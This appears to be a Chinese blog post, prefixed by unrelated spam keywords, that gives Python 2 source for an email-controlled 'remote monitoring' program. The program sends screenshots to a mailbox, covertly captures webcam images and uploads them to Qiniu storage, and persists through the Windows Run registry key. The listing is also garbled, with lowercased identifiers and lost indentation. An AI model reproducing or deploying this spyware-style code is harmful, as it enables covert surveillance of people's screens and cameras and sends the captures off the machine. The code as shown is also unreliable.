王洋王煜爱要坦荡荡,十三角关系在线观看,河北养老金
最近用python写了一个远程监控的程序,主要功能有:
1.用邮件控制所以功能
2.可以对屏幕截图,屏幕截图发送到邮箱
3.可以用摄像头获取图片,这些图片上传到七牛
4.开机自启动
#获取ip
def getip():
ip=socket.gethostbyname(socket.gethostname())
return ip
#获取操作系统版本、
def getsystemversion():
return platform.platform()
def send_information(ip,system_version):
info='ip:'+ip+' '+'system version:'+system_version
print info
smtp=smtplib.smtp()
smtp.connect('smtp.sina.com')
smtp.login('sender@sina.com','***') #改成自己的邮箱和密码
smtp.sendmail('sender@sina.com','reveicer@qq.com',ip+' '+system_version)#把接收邮箱改成自己另外一个邮箱
#截图,图片名为截图时间
def screen_capture():
#获取截图时间
pic_time=time.strftime('%y%m%d%h%m%s',time.localtime(time.time()))
#pic_name='screen_capture'+time.strftime('%y%m%d%h%m%s',time.localtime(time.time()))
pic_name='screen'+pic_time+'.jpg'
pic = imagegrab.grab()
pic.save('%s' % pic_name)
print pic_name
#发送图片
send_img(pic_time,pic_name)
print pic_name
os.remove(pic_name)#删除图片
#发送截图图片到邮箱
def send_img(pic_time,pic_name):
msgroot = mimemultipart('related')
msgroot['subject'] = pic_time
msgtext = mimetext('<b>capture</b> <br><img src="cid:image1">','html','utf-8')
msgroot.attach(msgtext)
#fp = open('f:\\1.jpg', 'rb')
fp = open(pic_name, 'rb')
msgimage = mimeimage(fp.read())
fp.close()
msgimage.add_header('content-id', '<image1>')
msgroot.attach(msgimage)
smtp = smtplib.smtp()
smtp.connect('smtp.sina.com','25')
smtp.login("sender@sina.com","*****")
smtp.sendmail("sender@sina.com","receiver@qq.com", msgroot.as_string())
smtp.quit()
print 'send success'
#摄像头截图,每隔sleep_time秒截取一张
def camera_capture():
#抓取频率
sleep_time=3
i=0
cam=device(devnum=0, showvideowindow=0)
while i<10:
cam_time=time.strftime('%y%m%d%h%m%s',time.localtime(time.time()))
cam_name='camera'+cam_time+'.jpg'
cam.savesnapshot(cam_name,3,1,'bl')
camera_upload(cam_name)
print str(i)+cam_name
os.remove(cam_name)
time.sleep(sleep_time)
i+=1
#上传到七牛
def camera_upload(file):
policy = qiniu.rs.putpolicy('iloster') #空间名,iloster是我的空间名
uptoken = policy.token()
ret, err = qiniu.io.put_file(uptoken, none, file)
if err is not none:
sys.stderr.write('error: %s ' % err)
#获取最新邮件
def accept_mail():
pop=poplib.pop3_ssl('pop.qq.com')
pop.user('receiver@qq.com')
pop.pass_('*****')
#获取邮件数目
(num,totalsize)=pop.stat()
#获取最新的邮件
(heard,msg,octets)=pop.retr(num)
mail=email.message_from_string("\n".join(msg))
subject=email.header.decode_header(mail['subject'])[0][0] #标题
pop.quit()
return subject
#获得程序的路径
def getpath():
path=os.getcwd()+'\remote.exe' #最后打包的exe程序名必须为remote.exe,或者把这里改一下
print path
return path
#添加开机自启动,在注册表里注册
def add_start(path):
subkey='software\microsoft\windows\currentversion\run'
key=win32api.regopenkey(win32con.hkey_local_machine,subkey,0,win32con.key_all_access)
#print win32api.regqueryvalueex(key,'python')
win32api.regsetvalueex(key,'python',0,win32con.reg_sz,path)
print win32api.regqueryvalueex(key,'python')
if __name__=='__main__':
add_start(getpath()) #添加开机自启动
send_information(getip(),getsystemversion())
while 1: #不断的监听
if accept_mail()=='screen': #当获取的邮件主题为screen时,截取屏幕信息
screen_capture()
elif accept_mail()=='camera':
camera_capture()
注意:
1.我的发送邮箱是sina邮箱,接收邮箱是qq邮箱,这样做是因为微信可以绑定qq邮箱。
2.accept_mail()监听的邮箱是自己的接收邮箱,就是我用的qq邮箱
3.当监听到screen时,开始屏幕截图并发送到邮箱,由于监听的是最新的邮件,当图片发送带邮箱时,获取的邮件主题不是screen了,应该会停止截图,最后只会截取一张图片,继续保持监听状态。但实际由于网络的原因,发送的邮件会有延迟,所以,实际截取的图片会有很多张
4.当监听到camera时,会用摄像头截图,如果把while i<10,改成i=1,会让摄像头一直截图,并使其他命令失效,所以我i<10,就是每获取一次命令,截图10张
如对本文有疑问,请在下面进行留言讨论,广大热心网友会与你互动!! 点击进行留言回复
新手学习Python2和Python3中print不同的用法
Python基于os.environ从windows获取环境变量
网友评论